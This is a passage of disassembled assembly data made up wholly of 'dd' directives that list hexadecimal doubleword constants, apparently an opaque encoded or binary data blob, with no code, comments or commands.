		dd 0AED6F49Fh, 0AD87D4D3h, 867E0BAAh, 27F7FF99h, 2F96A819h
		dd 4BEEA9E5h, 0DF6B0451h, 0D5107C6Dh, 6775EE4Bh, 2ACFDA3h
		dd 2B8D332Ah, 38D06249h, 12C12F76h, 3AA580AAh, 3562136Fh
		dd 75357B0Ch, 0EB7BF91Ah, 30AE9D1h, 0E53AA487h,	0A8AA37EFh
		dd 8E9DDCCBh, 79B2E06Bh, 0A1EF6785h, 42D0AFF6h,	6400992Eh
		dd 81BAEEE7h, 2003A656h, 435CCD91h, 43ACB0B0h, 85B15D3Fh
		dd 34E5BBCh, 77B554DEh,	7E0C3B89h, 0CB46F0CEh, 774FAB0Eh
		dd 4FA85887h, 84E2DF9Fh, 4AA5E1C4h, 0E9C4B2B3h,	0FED6C553h
		dd 4B0323AFh, 19D146Dh,	4589E10Ch, 92DD393h, 64E66632h
		dd 162C2BBFh, 125B8695h, 235A7A8Bh, 21D28BDBh, 0ED416081h
		dd 3CD8E9B3h, 295F26F6h, 3E418E4Eh, 4FA78E15h, 6E339018h
		dd 0B6977BB8h, 7DF720EFh, 71105109h, 55136B3Ah,	0E235C69Eh
		dd 0ED8A5CDDh, 0BD5D88BDh, 407675EFh, 7798F33Dh, 8E426D4Ah
		dd 0F9D8AAC9h, 0EA74229Eh, 0FE039A95h, 0C446710Ah, 0E37C1D08h
		dd 0B5827E64h, 7FF05AC8h, 281A386h, 0AC01C17Eh,	0A5311EE0h
		dd 0FDD2DC90h, 8C32739Ah, 0C8FF4F5Ch, 965E36F3h, 3D0B71C4h
		dd 91785288h, 21703C59h, 162B90CCh, 88019664h, 0A98CEA70h
		dd 0BA366ABh, 0B01F06F3h, 6CB88B5Ah, 0BF33B7ADh, 0EE48724Fh
		dd 4FA4F87Dh, 45561237h, 6CA8B2BFh, 3470A3ECh, 68A0E8EAh
		dd 6406F175h, 0B649FE9Eh
		dd 0D5E08F36h, 81A152Ch, 0BC7BCD7Dh, 1B264BA0h,	0C3B3EAB8h
		dd 76C02AADh, 0DA802D0h, 9C1C3337h, 0A07C79D9h,	0D81E3DD6h
		dd 16627DE7h, 0B1913A8Ah, 3E56B109h, 0BDA25CA2h, 38E570ECh
		dd 393E0A81h, 1FBFABCDh, 0F070131Ch, 93BF9741h,	8D3FC821h
		dd 61FBB6E8h, 1C7D2CA2h, 0CFF3296Fh, 0B00B7558h, 87537DADh
		dd 0C2BC8804h, 6AB474E4h, 27024CCEh, 5238AE6Ah,	1382DB2Bh
		dd 0D518DD18h, 0F6E27D2Dh, 0A9F5CE67h, 0ABD9DD3Dh, 43C0966Ah
		dd 2E27BDAFh, 0CB81381Fh, 0D5284668h, 0C13FC6C5h, 6B115F30h
		dd 23BC23B2h, 5A435385h, 4993B1D8h, 0F80B81F5h,	61167087h
		dd 773F8CABh, 333C16A0h, 65F0300Ch, 2B973991h, 3F5D30ABh
		dd 440FD54h, 8C293C61h,	0EFF0DC3Ah, 49EB48A7h, 64B80390h
		dd 0D11BBD4Dh, 184FBE35h, 685DAE9Bh, 0D07CE41Fh, 86CE39E5h
		dd 827DDD7h, 0CCBA448Ch, 149ABF98h, 0D8167AE0h,	19BAF3A9h
		dd 0E5BC9BF8h, 564D43B6h, 12DF9DD1h, 1A0F98B1h,	0FB3EACD7h
		dd 0EEC069BBh, 34757F25h, 77DB66B3h, 9F9C51Eh, 43836B19h
		dd 0E525F304h, 0FFF99EEEh, 0B3C19079h, 0CB2F4B14h, 85EAAE12h
		dd 8ACC8610h, 3346492Eh, 6716D9C4h, 4B809421h, 3F949209h
		dd 5E7DD606h, 3F80C087h, 0C529F39Bh, 174DE4A8h,	0B88EC9DEh
		dd 0EE1AFA9Fh, 484DC273h, 0B9695AFh, 0F6067DE7h, 0EE860F32h
		dd 0E24670AAh, 348B34DEh, 7B300462h, 127E0D14h,	60696BD8h
		dd 77529394h, 37E61FAFh, 4E5B0567h, 0FD647BCEh,	0F416AF2Bh
		dd 3864FD57h, 0FA3940ADh, 0ECC0E004h, 9B64E6B2h, 0D490F10Dh
		dd 0A1C995C1h, 0D44DDECDh, 0E535C1B8h, 65118229h, 6130EA64h
		dd 0EE5109A9h, 0B76C45C1h, 41C380A2h, 0B074C6E8h, 0C7ED9158h
		dd 0CCD139C7h, 48485ECh, 670427Dh, 876034B0h, 79AFECE8h
		dd 0F8D32E03h, 5D1CB3D4h, 0AB47F3B7h, 0CD6148DDh, 346ECBE6h
		dd 2DAF0579h, 1963449Ch, 14EF5884h, 0C0A3036h, 1D1ACBD2h
		dd 20EE50AAh, 9D185DDDh, 0CC9A4DF9h, 0A21ED979h, 0DD832496h
		dd 2568019Ch, 0F7C223A0h, 0A8EE524Eh, 6F8F7809h, 0EF5F329Fh
		dd 454DB91Fh, 911AA815h, 5D862349h, 93B12656h, 669DE273h
		dd 6097A38Dh, 0D3E6DAD8h, 905F1B4h, 6F4FA45Eh, 30003B95h
		dd 4F5D6014h, 0EF671130h, 91C15365h, 759AA60Dh,	422C5C2Fh
		dd 0F25B14B6h, 5A842CFEh, 8432D4D1h, 558CB5C3h,	0B3BC7A7h
		dd 2640F16Dh, 126587CEh, 0F645133Ah, 0F33A89D7h, 23BD18B4h
		dd 0D8DA8966h, 0E7132D13h, 0CFB24D88h, 0F1900A79h, 65495F3Ah
		dd 0EA58F185h, 0A645AF22h, 0D6144CB5h, 0C45E3398h, 0AB6B81BEh
		dd 109B38DDh, 941BC040h, 289C88F7h, 529BB594h, 300712D0h
		dd 8382BDA6h, 0EE0CD7BBh, 19F14489h, 93F34A18h,	12241AFFh
		dd 0A2270EDh, 0EF3DF5DAh, 4F670CECh, 69595BF2h,	0C0D44F7Dh
		dd 0E24B1688h, 35AF6F84h, 1CBFFAF0h, 5DC5BD9Eh,	0C8A75834h
		dd 0A396FCAh, 0A39D246Fh, 0CE6E4C78h, 0B54207A5h, 0D579F2E9h
		dd 0B26B3BBCh, 81AC7A9Ah, 0E24268E3h, 0A24F9F77h, 0A0A7A2ACh
		dd 2399C1F5h, 0F2CE9B6Ah, 80EE2472h, 0A547EC90h, 8DB663F0h
		dd 7BD04819h, 4BB1E396h, 0D47F5550h, 0C467372Ah, 0DBE5FF35h
		dd 67672716h, 75BB7112h, 71BB0BBDh, 640D19ABh, 4EFC9665h
		dd 648E3304h, 60247839h, 6C988919h, 180035ACh, 368348DDh
		dd 47073E79h, 82B526C2h, 1EBB5939h, 3E308B62h, 0CDCD10CCh
		dd 947E1D4h, 0BEFD493Ch, 3EAECB4Eh, 79FCD380h, 5DC603E5h
		dd 0D8A728D8h, 732D86DAh, 5D4608FDh, 89FAA5BEh,	9277628h
		dd 75FA36F4h, 4B3BF2CCh, 9FBEB5A1h, 559DAF6h, 0A0261E37h
		dd 0EA2DAD43h, 0AD3B55BCh, 623036B6h, 9479411h,	2117A97Bh
		dd 9B3F3652h, 0A08A52B3h, 98A72191h, 9C266581h,	0CD302F1Bh
		dd 0B450E8Ah, 9418DC32h, 53776914h, 0A40D5D55h,	0DD4EA58h
		dd 38950880h, 393C4FDEh, 2FBBC95Eh, 8A268785h, 6C1C80EDh
		dd 4D53B158h, 0D6225FCFh, 0F2AAF124h, 0C30B3EE7h, 86BE38Eh
		dd 0C6FA4152h, 8BC42612h, 0EBDF5B5Ch, 68E76092h, 201BFCA8h
		dd 126292F4h, 0CC84E9AFh, 150E33FFh, 349E2951h,	2E9B9BD5h
		dd 14FB1B04h, 6D9B072h,	0D609206Bh, 4F922923h, 1A5CA637h
		dd 31B63DF1h, 609AAC80h, 56B1F443h, 3EBEF139h, 0E5C23183h
		dd 47432423h, 4EF3B77Ah, 0E0697511h, 1D67B0CCh,	0E7F0F939h
		dd 628FA06Fh, 7A89D52h,	7784C150h, 6E7DFC4Dh, 0A34ECC10h
		dd 79C21392h, 2C5725FDh, 0C536D47Fh, 50E43F39h,	6EF94658h
		dd 5E9BDBD3h, 2DFFD864h, 0E073EB40h, 0A3755CBDh, 555718BAh
		dd 6C8C68FFh, 0AE384FC3h, 86636B0Dh, 0DD381278h, 929EF1h
		dd 0B06C5685h, 0CA5DC173h, 872B7641h, 22E4D4C4h, 0ACB13ADFh
		dd 0CE1723A9h, 0E311E25Eh, 886C331Bh, 0B9D88AC9h, 0EDAAFF51h
		dd 0C7E111FBh, 0C67F1CD7h, 9572722h, 72D61616h,	0D5D6F290h
		dd 9F0A09B6h, 13F46EA5h, 569BBC81h, 79508DC8h, 6B4D1ADBh
		dd 3514A193h, 3C278CECh, 51F108ADh, 104918E0h, 0CAECC9D2h
		dd 0A0C93EE8h, 1E6B3AEFh, 4EA1CCD3h, 3A0A1BC4h,	9DA70828h
		dd 87BDAC9Dh, 5458A1Ch,	0D23A6AABh, 0B9ED0518h,	0A770776Bh
		dd 4AFA64A7h, 70DE3B3Ah, 9C046885h, 4030CE1Ch, 0A2274877h
		dd 1A45567Eh, 442F62Bh,	0EDFCCEA5h, 0DDA9D07Ah,	3300FFDh
		dd 0C1A552A5h, 0B752782h, 0E374E5DDh, 66355E79h, 551136D2h
		dd 0E487039Ch, 0F009BC5Fh, 1B48A2A9h, 0EF231A6Ah, 5C9F996Bh
		dd 44D9169Dh, 147873EEh, 5B344107h, 0E948855Ah,	2D0A8C29h
		dd 0CE454973h, 0E9866DE4h, 9B6970A3h, 3CA9DD8Bh, 4DAAE426h
		dd 0BE188137h, 412BE732h, 94043700h, 9E92D1A1h,	101A18F2h
		dd 0C4524AF7h, 52916B84h, 4041A4DFh, 7A989A7Dh,	0E3579FBDh
		dd 58B1D408h, 93D314D9h, 0BAA549F2h, 0D7FE8339h, 24EBC941h
		dd 733828C7h, 0E8C3C28Ch, 0F05718C0h, 781491A3h, 0B1A8C418h
		dd 95C10B4Eh, 0D885BE99h, 2C75EB8Fh, 0B237F121h, 0A7AAB735h
		dd 0D38FF1F8h, 0DB7C46D1h, 9CF4F791h, 0B7E1C809h, 28664164h
		dd 0B1B93BE9h, 0B1BCA0E4h, 210051A1h, 0AD783F8Fh, 18DED483h
		dd 3AC8CA8Dh, 0A128ABEEh, 34A372FBh, 9831886Ah,	2088BCF9h
		dd 175C25CEh, 14E7DBF2h, 76B662C5h, 0DC0234FFh,	0D04DCCD0h
		dd 0AD16DBC3h, 29948A31h, 122E91F9h, 93765733h,	64416B06h
		dd 0CABCAC2Ch, 0F49EF64Fh, 0F5321285h, 7851D5ECh, 38AB36E8h
		dd 46DA45F4h, 74DC46EFh, 0C722622Ch, 64600333h,	14769202h
		dd 995D28B7h, 7F9CBADDh, 2B350B6Bh, 0CAEEA7E9h,	8CF7B280h
		dd 758A99C6h, 73CFF5B2h, 0EA287EB0h, 4A97431Bh,	0B86B5A9Eh
		dd 36FD3BECh, 0B9575E87h, 76A5EBA4h, 230EAABFh,	8464B84Ah
		dd 4126BA8h, 45DF4962h,	0D3A7AF17h, 21FA7657h, 9D015422h
		dd 96092688h, 7911CBEEh, 86CCF802h, 89277511h, 0FFE259E9h
		dd 2C583443h, 0ABD775F0h, 0BE1A39C2h, 0E74F0D8Fh, 3849BDD7h
		dd 71C0A7Ah, 4EF5538Bh,	0F3463A91h, 0FF46FF37h,	0DAC50318h
		dd 0A2DF9816h, 58F5FB0Eh, 0F171297Bh, 0B18E0E14h, 4B4F9051h
		dd 44ED8BDEh, 32D648EAh, 269D71B4h, 0E93D9F2Ch,	0DED78DF1h
		dd 4C99B795h, 7D0D5AFBh, 0DCC0FBFCh, 0C656C54Dh, 4CC36212h
		dd 9777BA91h, 95021C7h,	0DC973E66h, 852FFC0Dh, 32AC33CAh
		dd 42A923CAh, 728599F6h, 53E888EFh, 2D1043A6h, 0A5A4B4ACh
		dd 37092FAAh, 0D81A5262h, 8FF05E74h, 6411F678h,	0DD8D67F2h
		dd 0C24FE51Ch, 0CC2F302Eh
		dd 630B567Fh, 0B6C54EBh, 5CA9D51h, 0EB74D87Eh, 694C8429h
		dd 84567DC3h, 9E45DDEFh, 0D1E82667h, 0B91EE9E5h, 9D151235h
		dd 0D05C17ADh, 0B0F7D78Ah, 0EA2D09BEh, 0DCDA3F50h, 7D8D0395h
		dd 3CE2235Ch, 6257608Dh, 8ABF233Bh, 0D27B3308h,	6CA34D8Ah
		dd 216F25C0h, 95294175h, 2F818F88h, 470A3D8Ch, 0E0F3B8CDh
		dd 69164E7Ah, 4511F249h, 60786B74h, 7B13A3ACh, 648D34Bh
		dd 19138D01h, 523AAD10h, 980D5B16h, 2D1BCD65h, 0CDCF3343h
		dd 0D2A65AFh, 233DB03Dh, 0C7896094h, 4A713E55h,	0A4E296F5h
		dd 0C69D256Fh, 6EF414Fh, 5A7488Eh, 0FA2C038Fh, 0E043846Ah
		dd 0FAA4030Fh, 6303D359h, 67C43E11h, 15E38C98h,	6738D074h
		dd 0B3A843AEh, 0F1A89F2Ch, 867A2C7Ah, 1D4B2C83h, 99B7D6FCh
		dd 60C3B24Dh, 0FD0920Ch, 8C2EE869h, 4751DF74h, 0F01CC789h
		dd 6983A5F2h, 0DCE06648h, 0A12FAAD4h, 7B3488F4h, 0A0AB11FFh
		dd 333EA9E8h, 34B5CA47h, 50E59D22h, 842A73BFh, 0AF7ED2BDh
		dd 0DF6253CEh, 4E14FAD9h, 2942C4E4h, 41306210h,	0DAA4F475h
		dd 0E5032E1Eh, 27F434DBh, 9A7D4644h, 7157B55Dh,	78A1934h
		dd 3682FD94h, 57E56D92h, 0ED20F446h, 302600C2h,	0EFB537F7h
		dd 867AD2ABh, 0AF446312h, 4F1CA1D2h, 62F49C85h,	5C1A21EAh
		dd 6A25C04Dh, 6DFC0008h, 0A02A8717h, 0C4C481D9h, 388929C2h
		dd 66562477h, 36926E88h, 56E75C0Bh, 0F3DDBD34h,	1789E046h
		dd 226C9D9Eh, 23DEA0FBh, 0B2CE565Bh, 7C6673F9h,	4171C927h
		dd 40DF8AE2h, 8F293C91h, 0BC9705B1h, 0B2EFEEA4h, 76251C7Ch
		dd 0E4078382h, 573AB178h, 1E653B7h, 5463FD83h, 0FAACD48h
		dd 8FB5FFC5h, 0CACBC0CFh, 0D8CE7A1h, 879CD74Eh,	27300D2h
		dd 0A5BEB8CFh, 5639C453h, 6ED74F26h, 52075A90h,	65326DD9h
		dd 3AFAA7BEh, 0E34B60A8h, 6C21A84Dh, 5F6FFB06h,	0F3A2BF21h
		dd 55359D28h, 0BFD503CEh, 0BA051438h, 8DCD5753h, 120EDC1Bh
		dd 86D7E691h, 99FB67A5h, 55F5B97Dh, 0D38E326Dh,	28D57418h
		dd 9E6288F8h, 8E454124h, 8C681F53h, 150AD10Bh, 7DF8CEAh
		dd 286235E4h, 53D9FF03h, 4770F6ADh, 9682304h, 6A028896h
		dd 34CBB983h, 8DB59D3h,	0F0D4B771h, 4E1F7477h, 0B31D1F2Ah
		dd 0B3870E79h, 99DFB5DBh, 3C043636h, 12E3BD2Ah,	3D2CCAF0h
		dd 7302CA78h, 996247BEh, 0FE249B2Dh, 65AD3C13h,	0B8C56C7Bh
		dd 6C92704Fh, 0CA02A242h, 0C581E0DAh, 0FA76AA7Ch, 0FF52DBB5h
		dd 7D4E7DC9h, 7DC5DD92h, 0B5B89EC2h, 7D489F0Ch,	0D21328B1h
		dd 1EDBC925h, 91B13070h, 30B2E1E7h, 0ACDB7A68h,	9F7E11Ah
		dd 85918FE8h, 77A73B32h, 613BA7DBh, 9E79716Ah, 1676A527h
		dd 84C569C1h, 78FEF976h, 0C2456E2Ch, 0DD7670CCh, 55A9B119h
		dd 934A1369h, 0C9093744h, 6F77AEA3h, 0B76B6536h, 94D56CABh
		dd 8437889Dh, 18837346h, 2622158h, 359ECAC4h, 829CBB1Bh
		dd 0A4C46002h, 0B0BF0153h, 6E8BBA27h, 0CADF2045h, 0B71763h
		dd 0D8D17459h, 7D29773Ah, 6B55599Ch, 0EED13E07h, 0CFE555BAh
		dd 83389BA8h, 2E4F0D87h, 8CEB65D1h, 57A0727Eh, 49C65FFEh
		dd 993E62D0h, 0C5DD7F8Bh, 7276F32Fh, 0FE0273F5h, 70D11142h
		dd 41E202C3h, 9C8EEA45h, 360DFAE6h, 5C53F3C6h, 3E7BB5CDh
		dd 8D42DCC2h, 0AC69BC8Eh, 8EA080EBh, 3A52EB50h,	0EE9900E0h
		dd 72B15C94h, 5EE836D6h, 0F0F04A41h, 2EF5ADCh, 9F157457h
		dd 7A544859h, 45000B61h, 0F297CDBBh, 73780C82h,	0C1D481E3h
		dd 953C43Fh, 0F39D8497h, 63FE4210h, 450F8798h, 0E89057F6h
		dd 0D40099B6h, 5658794h, 0E16F9A00h, 75647342h,	91611194h
		dd 0C1D7F620h, 79A69B0Dh, 365F1AD6h, 808BBB82h,	0BEF3CBC9h
		dd 978340CEh, 4EE94856h, 8CB3234Bh, 0A60ECAE5h,	3A4B2308h
		dd 0C06C5AE8h, 0E1036080h, 18AE0664h, 5DE67423h, 0E3BDD79Fh
		dd 0C89A84CAh, 0E49F9BD1h, 9801BAC2h, 7D0FC9DAh, 2359FBE0h
		dd 9E95342Dh, 0AEAEF5BEh, 0ACCDFEECh, 2AC3CDEBh, 0BF35C24Fh
		dd 89DC0445h, 664A423Bh, 29F886Fh, 9EE59752h, 53A2B4B3h
		dd 229C0B05h, 0ABAF0035h, 5F994608h, 7F4C32D0h,	4D883163h
		dd 97674645h, 0ABE71E6h, 39AE39C8h, 0A07CA481h,	9B233B04h
		dd 1251F2C5h, 0D108E93Eh, 28DE7AF7h, 3F8ACDB0h,	576B7DE6h
		dd 0B0ACC30Dh, 78CABC97h, 0DE78672Ah, 490B6317h, 0C5B32AAFh
		dd 0D3A850EFh, 43D59D6Ah, 2FFB67B6h, 0AADCFC3Eh, 38271905h
		dd 4FF80F44h, 707D4AA0h, 10C04790h, 0CF8DD722h,	65A4C2A7h
		dd 9F0AD135h, 22DC1F52h, 7F4918A4h, 2C540B03h, 5FA43331h
		dd 42030E47h, 658C7EC5h, 0BA6514E3h, 590EDFE8h,	0C8D43C69h
		dd 0E3B3E33Ah, 0FD242EC2h, 0A26D35FFh, 2620DDB2h, 0D3605A48h
		dd 0A7DA7B8Fh, 4343B6B3h, 0C425C69Ah, 22BCE334h, 109AE84h
		dd 8E40408Ch, 4EA8B11Eh, 3ACEBDE2h, 0D53DA8E7h,	9FF6829Dh
		dd 75C84F46h, 39B4B82Dh, 0BDF04620h, 48785625h,	0BD8C3C40h
		dd 0F7CA729Fh, 87CA975Fh, 93A80F2Bh, 0A3F74569h, 0A94098EDh
		dd 46572B67h, 743926BAh, 540E75CDh, 0AB1B921Dh,	9171E07Eh
		dd 0DE9CFAB4h, 5662E759h, 0A186E2AEh, 0DCA8BB9Ch, 50ADDE03h
		dd 22AC8A26h, 0EC20ED81h, 86218BE9h, 0ECDDC9B9h, 0D19F018h
		dd 0DC52DCE5h, 3D0AC183h, 1FD1962Eh, 4053BE29h,	0A47FB8AEh
		dd 5283C5Ah, 5F1A302Eh,	20BDAEDEh, 0F2460C1Bh, 69413B3Bh
		dd 3C4C7D55h, 8D9967Bh,	0D64DCC5Ch, 2848E6D7h, 29FEDBE0h
		dd 0E944E894h, 7195CA71h, 30E167CEh, 3801E0D3h,	601E77B8h
		dd 0CBB5168Dh, 1D752CF9h, 6D92B0D4h, 2BC4741Eh,	940DE2E7h
		dd 75B4D7B8h, 56095049h, 0CDA18953h, 5AC39221h,	679FF3A7h
		dd 8573BDAEh, 0D76F8EC8h, 688E775Fh, 0F4E857C6h, 91A492C7h
		dd 0E81D332Ch, 9A04A4A8h, 0F95E6F8Eh, 0EF99FE06h, 54782615h
		dd 65FD5E85h, 4C20568h,	0C86E049Dh, 1D9BABEEh, 35750795h
		dd 6D769464h, 0D0E8B09Dh, 1038DE2h, 0AA4AB538h,	16078F96h
		dd 275AFDBh, 0EEF628A0h, 0A823FC52h, 0D366DBC5h, 0F362F08h
		dd 0B8DFB039h, 57DADEABh, 0EAE7B251h, 0C104CC16h, 7F5CD510h
		dd 0C227BB1Ah, 0E83909C9h, 27CFA240h, 93F7F943h, 9792695Ch
		dd 0E64184E2h, 768BF92h, 31070D79h, 435BBC3Ah, 0BACE3254h
		dd 0A374895Eh, 42EF89A3h, 4724E173h, 0B025E2E7h, 8A9D1265h
		dd 0F893BA92h, 1BAD5811h, 6CC97634h, 0F1F44A9h,	7874ACB3h
		dd 6F6FA32Eh, 55123E61h, 0C5205FD7h, 7FE3D4EAh,	0F796F4DDh
		dd 0EC28D082h, 0EA433E53h, 0F44E1D4Ch, 29A2105Fh, 98F078A5h
		dd 204329B0h, 0CD837AB8h, 9F73BB5h, 0D56ACFAh, 7DA0B9ABh
		dd 0C1A67F68h, 6EA1D15Ah, 0C3F63500h, 75C34B93h, 0B38DC908h
		dd 0D0C96CBCh, 12410989h, 72E4F378h, 0BD016929h, 6A4BDD41h
		dd 0C25254ADh, 97C5EE79h, 2D85482Bh, 474F1754h,	0D2D7278Eh
		dd 0D7B26842h, 5D7CB192h, 93DCE6D8h, 7B09F7B3h,	0E05952CDh
		dd 116A0A72h, 5DEC7151h, 14093DFEh, 8646DE0h, 84BC371h
		dd 6562C077h, 0D7F233F5h, 4C614B2h, 0B8631E89h,	62EA7516h
		dd 8667C951h, 7FA99918h, 0F008A061h, 0FA716DD4h, 7C27B5ACh
		dd 456042D8h, 0FB69DC45h, 0B8F00190h, 7CCAA5D7h, 6EC3D658h
		dd 0FCF24C27h, 341932A3h, 0DACA12B6h, 173C2534h, 4F638FBCh
		dd 85B62EEDh, 66D9D818h, 1704FC3Fh, 96A8DA85h, 8E84754Ah
		dd 0FD3304E7h, 1BAD4EFh, 4989584Ah, 29B22688h, 53B5F425h
		dd 13A8B1E9h, 65B438E2h
		dd 3037589Fh, 8BAF357Bh, 0E2737833h, 73070002h,	0A72908C3h
		dd 0B0A815BBh, 77F95E87h, 0CA3EB481h, 49C97A91h, 3D64AA00h
		dd 8C1C2D12h, 523FCA30h, 7C9A2279h, 9E201BECh, 0AC79BB3Dh
		dd 0B389F558h, 0E5765337h, 88F8FD0Ch, 1ED9B676h, 0B06C0832h
		dd 18C4E565h, 0D48C8A52h, 0FC3C1D9Bh, 0E44A3DE8h, 49584D0Bh
		dd 0C3D747ACh, 0F8154FEBh, 8D50EA46h, 81AA710Ah, 23CF9C7Bh
		dd 46E90C1Dh, 0A83B8B6Ah, 10D09CA5h, 1E94EF70h,	0EFAEF1AAh
		dd 89D42752h, 0D906284Ah, 7AB87C7Bh, 0CD7FC0E0h, 0C5CF3B2Ah
		dd 0B9280888h, 20FCD188h, 43A834C4h, 0DD5B19Dh,	0BC63D39Fh
		dd 0D6542169h, 0DC295503h, 0E5F2718Ch, 5CA95C97h, 0FD6762EBh
		dd 4C5D7CD9h, 0CFC580DDh, 7BB38AFAh, 6C01EAD1h,	8D298CF3h
		dd 0C90D4125h, 3982CFA0h, 0D85EC64Eh, 90DE105h,	578F5936h
		dd 47449B89h, 2CDE518Ah, 0C891C79Bh, 4BBC6508h,	0CD1DA4C3h
		dd 22B3C8DBh, 2B2C7A7Fh, 7AEC86DFh, 0E0D3F313h,	0C7A26C4Fh
		dd 4D1B9F13h, 56CF42A8h, 7E89EF0Dh, 29459629h, 0F685B7F7h
		dd 4D32768Fh, 881C547Fh, 7CDB58ACh, 0C6364211h,	5B6D00DFh
		dd 5C432CB7h, 88D597EBh, 649A221Dh, 6D266234h, 0EC2030Eh
		dd 88AA33C0h, 387AF459h, 38183ECCh, 5AE9F72h, 0CEBE4B7Ch
		dd 0B85C67ACh, 0DE743250h, 35D5EAE3h, 4DE9EAD6h, 3661B806h
		dd 0AF147FF8h, 0FEDB7E84h, 31A78FB0h, 3FCBF2BFh, 1D56CBADh
		dd 6BA1A73Eh, 0ABD982A3h, 90F063F5h, 269DCEEEh,	0EADD39E5h
		dd 873D51F7h, 9571AB51h, 0E74EF5CCh, 7E2D73ABh,	1CCFC61Eh
		dd 0F6FC520h, 6CD2AFA8h, 4587713Eh, 0D565D74h, 822CF90Ch
		dd 61C2E86h, 1948CC9h, 42B662A9h, 65322624h, 7E82D7B4h
		dd 0B5F12867h, 653776Fh, 5244F273h, 2196C992h, 0AECA0738h
		dd 53A5DD0Fh, 0B360B48Ah, 27147DA5h, 0E52EE9A0h, 9867E2CCh
		dd 2C561A43h, 0CEDACBBFh, 0AF2FCC16h, 4631BD3Eh, 0A871C4EDh
		dd 672EBF87h, 188DE885h, 5DB79E54h, 72B2C2FCh, 0FD2633FDh
		dd 0B6872C1Ah, 66B13533h, 7AE4220Fh, 2F705799h,	7A6E0DA5h
		dd 7DA1429Fh, 6B06EAD9h, 71525062h, 740C49A8h, 42A7FF12h
		dd 0CD9006E9h, 0CE28BDCFh, 3D62C5DCh, 8EFD79B4h, 32DF1711h
		dd 9DA685C3h, 0F63278C4h, 0D67ABE88h, 30695EE8h, 0BB37B861h
		dd 3EFBF3DDh, 7734DD58h, 0E1D96D6Ah, 30DB90F4h,	0CA612AA5h
		dd 0E193936Eh, 0FA3C7E05h, 9D078D8Eh, 48C5BF8h,	3DF46666h
		dd 0E93DB20Ah, 0FCC44F0Ah, 0CB0D92C6h, 3807005Eh, 29142CF9h
		dd 72CCC964h, 60EC9C2Ah, 2D560D74h, 0E77EE0E5h,	823C8FA8h
		dd 6F6C925Fh, 380C24DAh, 3B328D39h, 4E1DFC60h, 65EF4232h
		dd 62B742C0h, 43D38D77h, 2E716856h, 0C16962B1h,	0CB858B10h
		dd 0F1D73322h, 9256B712h, 7B5B86EBh, 4291CF16h,	0BF6F4ACFh
		dd 0D4F009FDh, 0BA0BB73Bh, 423DE740h, 482C6A3Bh, 317FA7EFh
		dd 0E168B73Fh, 0D62D4A96h, 11CD43D7h, 9F082D36h, 0FB3E4716h
		dd 0B08CB17Bh, 0FED92606h, 0C62DC660h, 0F6F5755Eh, 0DA046B39h
		dd 4D6CC8A3h, 1847EE80h, 1E6ACF28h, 0E6F0C41Ch,	2EB90B1Eh
		dd 0F4E2A3CFh, 4BD6E693h, 83F1C43Fh, 0E6B9C429h, 60974C8Eh
		dd 0FE79C952h, 50F40730h, 4FA44A65h, 0ECB48D2Ch, 37354015h
		dd 840FEDB9h, 9D2703CBh, 3A9A6C16h, 0E70637A6h,	0EC67493Bh
		dd 0F3173E9Bh, 0E2467D49h, 8ADE2276h, 0B7FB4285h, 9E739F3Ah
		dd 0C8CB132Eh, 570E57C8h, 6FD04D49h, 18771D2Eh,	0E7ADB9F0h
		dd 0D6AF2169h, 61AD9B9Bh, 0BAA8FFCAh, 0A3F65E72h, 94FF9179h
		dd 0F8B693CCh, 0D37BD3Ah, 69F6D40Eh, 0F4593C32h, 81B7C2EFh
		dd 37F3C21Bh, 0E851211Ah, 459D84E1h, 5124AA41h,	44F7BA7h
		dd 0C01717D5h, 0D50B1BA7h, 8FBDBEF3h, 173E73FAh, 29BC8F7Fh
		dd 943C0FA3h, 0CF3A9EDDh, 0BADC6DBFh, 7EEF21E8h, 0B588FFD9h
		dd 4B2F848Ah, 0BE300450h, 40774FE1h, 1C2D578Eh,	7D987C4h
		dd 0EA50C6B9h, 559F5FB7h, 7CAA194Ah, 0C7C78C38h, 0F02E8A43h
		dd 59CD06B5h, 4D9E00Dh,	229243F6h, 6BA8DAD2h, 766C43E8h
		dd 0C7CBECC5h, 0AF5F0314h, 0F67CF37Fh, 96C37280h, 3D1DD559h
		dd 8AB983A7h, 0D236BD52h, 0E518E18Eh, 0BB39C14h, 84B8A2AFh
		dd 816D1261h, 9D7D4BB1h, 0FC9008EAh, 0F19C0883h, 48E56007h
		dd 0F557271Ah, 9F88331Fh, 34A60D2Bh, 339E291Ah,	0A6EA2191h
		dd 2B8E37B2h, 4990F19h,	1DAE528Ch, 57F3269Eh, 7BC7B3FDh
		dd 0C25E468Dh, 489786D8h, 0CADCA9FEh, 85EA8BD9h, 30E0E9D4h
		dd 0DFE265A7h, 2C06B76Bh, 1ADBD9DDh, 11A950Fh, 0C18E5547h
		dd 3A70A0BEh, 6963CEF6h, 0FBBA6A2h, 0A657CE4Eh,	0F620AB01h
		dd 54C51AA4h, 0FB1AD87Fh, 0C38F758Ch, 0C1346A40h, 125AADBh
		dd 7CB15940h, 0DFD5C9CBh, 8254BC4Ch, 0A4EE1781h, 522FB349h
		dd 0A5C3CF29h, 55DD452Eh, 0B9A4AD71h, 41A4107Fh, 34A5D775h
		dd 0D2D51B55h, 9EAD711Dh, 0ED23BA56h, 0B274A1D7h, 0CD495664h
		dd 9AF228D2h, 5A2E0B74h, 2D5FB8D3h, 0A3A6B296h,	96017ED1h
		dd 441A0620h, 0EBD60B86h, 9F20CFFDh, 0F58E8F26h, 204A92Fh
		dd 76998109h, 6CC9EBCh,	4FDCED2Bh, 34E3145Bh, 3BFC58C0h
		dd 5E751EADh, 0F7D5383h, 268C8828h, 8A8BC5D9h, 8EC92CFDh
		dd 76C5BCDAh, 2014BB94h, 0C7E431AEh, 87E042Ah, 9BAAEB38h
		dd 90D9543Fh, 16779964h, 6AEF7A87h, 825FDA12h, 49BFCA54h
		dd 6590D77Eh, 7D90E779h, 6D8274F8h, 0D1C47EACh,	0B18D42C0h
		dd 93A9E28Ch, 2F9C5BD3h, 0CE7EC53Bh, 0FC41CA84h, 2599C14Fh
		dd 0D007263h, 0CE17EC76h, 1964103Eh, 83CB925Ah,	0C64EADE3h
		dd 0CF10FECh, 321611F9h, 0C17D0BF6h, 663E5E07h,	0EAF7D79Bh
		dd 0BE96CE57h, 0BE7CA8Dh, 9CC4BCEFh, 557EEE3Eh,	3FE114E3h
		dd 0C23B9A31h, 61723228h, 6AEAB1ECh, 48260FEh, 7D0B814Dh
		dd 0E0FCA36Fh, 0D4415167h, 0A5CC0780h, 0A0E0763Eh, 0FBC4A4D1h
